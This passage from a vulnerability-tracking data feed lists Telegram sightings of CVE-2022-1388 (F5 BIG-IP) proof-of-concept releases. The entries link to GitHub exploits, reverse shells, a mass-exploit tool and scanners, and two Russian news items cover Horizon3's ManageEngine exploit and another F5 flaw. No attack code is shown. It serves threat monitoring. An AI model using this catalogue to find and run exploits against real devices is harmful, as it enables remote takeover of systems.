"GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aReverse Shell for CVE-2022-1388\nURL\uff1ahttps://github.com/qusaialhaddad/F5-BigIP-CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-10T04:48:33.000000Z"}, {"uuid": "eecd56c6-5953-47b6-836a-c4ff74b6c9dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2164", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388\nURL\uff1ahttps://github.com/mr-vill4in/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-11T20:19:47.000000Z"}, {"uuid": "039a602e-3be0-45a4-9d0d-7c5be83d4c79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2163", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aThis repository conssists of the python exploit code for CVE-2022-1388( F5's BIG-IP RCE) \nURL\uff1ahttps://github.com/omnigodz/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-11T19:48:24.000000Z"}, {"uuid": "66fd7dad-8f4d-4b3e-87eb-bf981b49125e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2162", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388 Scanner\nURL\uff1ahttps://github.com/EvilLizard666/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-11T19:38:13.000000Z"}, {"uuid": "ea9a3bbe-b417-449c-a3e6-00d0931b42b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2205", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388-PocExp,\u65b0\u589e\u4e86\u591a\u7ebf\u7a0b,F5 BIG-IP RCE exploitation\nURL\uff1ahttps://github.com/aodsec/CVE-2022-1388-PocExp\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-16T14:07:29.000000Z"}, {"uuid": "324043cf-dc40-4e5a-a2ce-72a91a3c48cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2199", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388_goby_pocsuite3\nURL\uff1ahttps://github.com/hou5/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-16T01:08:42.000000Z"}, {"uuid": "bde64bb0-9c6a-4df2-b499-c96c3ba61a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2541", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388 | F5 - Big IP Pre Auth RCE via '/mgmt/tm/util/bash' endpoint\nURL\uff1ahttps://github.com/Chocapikk/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-06-20T02:00:06.000000Z"}, {"uuid": "0e002cd3-a273-4843-bd9f-f28ca5e0d271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2308", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2020-5902 CVE-2021-22986 CVE-2022-1388 POC\u96c6\u5408\nURL\uff1ahttps://github.com/west9b/F5-BIG-IP-POC\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-28T14:29:21.000000Z"}, {"uuid": "616abc61-c1b0-4c1a-a15c-2a8ec66a05ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2566", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aMass-Exploit-CVE-2022-1388\nURL\uff1ahttps://github.com/electr0lulz/Mass-CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-06-24T01:06:29.000000Z"}, {"uuid": "865dadc9-9ebf-41d6-8ddf-ddb30212a8e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2635", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388, bypassing iControl REST authentication\nURL\uff1ahttps://github.com/jbharucha05/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-07-04T07:12:00.000000Z"}, {"uuid": "1148bb48-ee6f-47de-8470-182a19985841", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2618", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aPoC for exploiting CVE-2022-1388 on BIG IP F5\nURL\uff1ahttps://github.com/Luchoane/CVE-2022-1388_refresh\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-07-01T18:22:21.000000Z"}, {"uuid": "9ad964e8-0660-4b97-bfa9-1925e10dc8a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/3117", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1acURL one-liner to test for CVE-2022-1388 BIG-IP iControl REST RCE\nURL\uff1ahttps://github.com/On-Cyber-War/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-10-25T12:20:51.000000Z"}, {"uuid": "38f7db36-cbb2-4c6d-812d-261a59cf0c46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/3119", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1acURL one-liner to test for CVE-2022-1388 BIG-IP iControl REST RCE\nURL\uff1ahttps://github.com/OnCyberWar/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-10-25T12:55:52.000000Z"}, {"uuid": "6d477c9c-683f-4ed2-b94c-c49761c66ac1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/3630", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aRed Team\n\u63cf\u8ff0\uff1a-- FOR EDUCATIONAL USE ONLY -- Proof-of-Concept RCE for CVE-2022-1388, plus some added functionality for blue and red teams\nURL\uff1ahttps://github.com/Ignitetechnologies/Credential-Dumping\n\n\u6807\u7b7e\uff1a#Red Team", "creation_timestamp": "2022-12-25T08:18:33.000000Z"}, {"uuid": "42287d9d-4c0d-44f9-be62-bf538006c757", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/3628", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aRed Team\n\u63cf\u8ff0\uff1a-- FOR EDUCATIONAL USE ONLY -- Proof-of-Concept RCE for CVE-2022-1388, plus some added functionality for blue and red teams\nURL\uff1ahttps://github.com/vaelwolf/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#Red Team", "creation_timestamp": "2022-12-25T04:55:31.000000Z"}, {"uuid": "cebbac8f-1c91-44bf-b199-24bffc150e96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/ckuRED/137", "content": "Zero-Day: Critical F5 BIG-IP flaw allows device takeover (CVE-2022-1388).\n\nhttps://www.helpnetsecurity.com/2022/05/05/cve-2022-1388/", "creation_timestamp": "2022-05-05T21:07:13.000000Z"}, {"uuid": "2873837b-2a2c-461a-a25c-7cfaca2fad14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/itsec_news/2081", "content": "\u200b\u26a1\ufe0f\u0411\u0435\u043b\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u044b\u043d\u0443\u0434\u044f\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 ManageEngine \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\ud83d\udcac \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Horizon3 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Zoho ManageEngine. \u0412 \u043a\u043e\u043d\u0446\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u043e\u043d\u0438 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u0432\u044b\u043b\u043e\u0436\u0438\u0442\u044c \u0435\u0433\u043e \u0432 \u0441\u0435\u0442\u044c, \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f. \u0422\u0430\u043a, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0431\u0435\u043b\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0445\u043e\u0442\u044f\u0442 \u043f\u0440\u0438\u0432\u043b\u0435\u0447\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u00ab\u0437\u0430\u043b\u0430\u0442\u0430\u043b\u0438\u00bb \u0434\u044b\u0440\u0443 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u043f\u043e\u0434 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE-2022-47966. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 ManageEngine, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c RCE-\u0430\u0442\u0430\u043a\u0438.\n\n\u0412 \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0432\u0445\u043e\u0434\u044f\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b ManageEngine. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Zoho \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u0438\u0437 \u043d\u0438\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Horizon3\u2019s Attack Team \u0443\u0436\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0435\u0439 Zoho, \u0447\u0442\u043e \u043e\u043d\u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0432\u044b\u0448\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0425\u043e\u0442\u044f \u043e\u043d\u0438 \u0435\u0449\u0435 \u043d\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438, \u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u0449\u0438\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 (IOC), Horizon3 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0437\u0436\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Horizon3 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u043c, \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0449\u0438\u043c \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438. \u0415\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430 \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 ManageEngine ServiceDesk Plus.\n\n\u0414\u0436\u0435\u0439\u043c\u0441 \u0425\u043e\u0440\u0441\u043c\u0430\u043d, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438\u0437 Horizon3, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 10% \u0432\u0441\u0435\u0445 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 ManageEngine \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a CVE-2022-47966.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 GreyNoise, \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u0435\u0440\u0435\u0439\u0434\u0443\u0442 \u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0441\u0432\u043e\u0438\u0445 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 RCE, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e Horizon3 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442 \u0441\u0432\u043e\u0439 PoC-\u043a\u043e\u0434.\n\n\u0420\u0430\u043d\u0435\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 Horizon3 \u0443\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0434\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\n\nCVE-2022-28219 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Zoho ManageEngine ADAudit Plus, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 Active Directory.\nCVE-2022-1388 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 F5 BIG-IP.\nCVE-2022-22972 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 VMware, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\u0416\u0451\u0441\u0442\u043a\u043e, \u043d\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e \u2014 \u043f\u043e\u0441\u043b\u0435 \u0443\u043b\u044c\u0442\u0438\u043c\u0430\u0442\u0443\u043c\u0430, \u0432\u044b\u0434\u0432\u0438\u043d\u0443\u0442\u043e\u0433\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c, \u043c\u043e\u0436\u043d\u043e \u043d\u0435 \u0441\u043e\u043c\u043d\u0435\u0432\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u043b\u044e\u0431\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0443\u0434\u0443\u0442 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u043a\u0440\u0430\u0442\u0447\u0430\u0439\u0448\u0438\u0435 \u0441\u0440\u043e\u043a\u0438.\n\n#\u0425\u0430\u043a\u0435\u0440\u044b #ManageEngine #\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-01-18T13:54:27.000000Z"}, {"uuid": "f8fa5f2f-4f12-4181-92d2-dc7e4bf1763c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/3549", "content": "\u200b\u26a1\ufe0f\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0431\u0440\u0435\u0448\u044c \u0432 BIG-IP \u043e\u0442 F5 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\ud83d\udcac \u0422\u0440\u0430\u043d\u0441\u043d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f F5, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0430 \u0443\u0441\u043b\u0443\u0433\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0441\u0430\u0439\u0442\u0430\u043c\u0438 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0444\u0438\u0440\u043c\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 BIG-IP, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-46747 \u0438 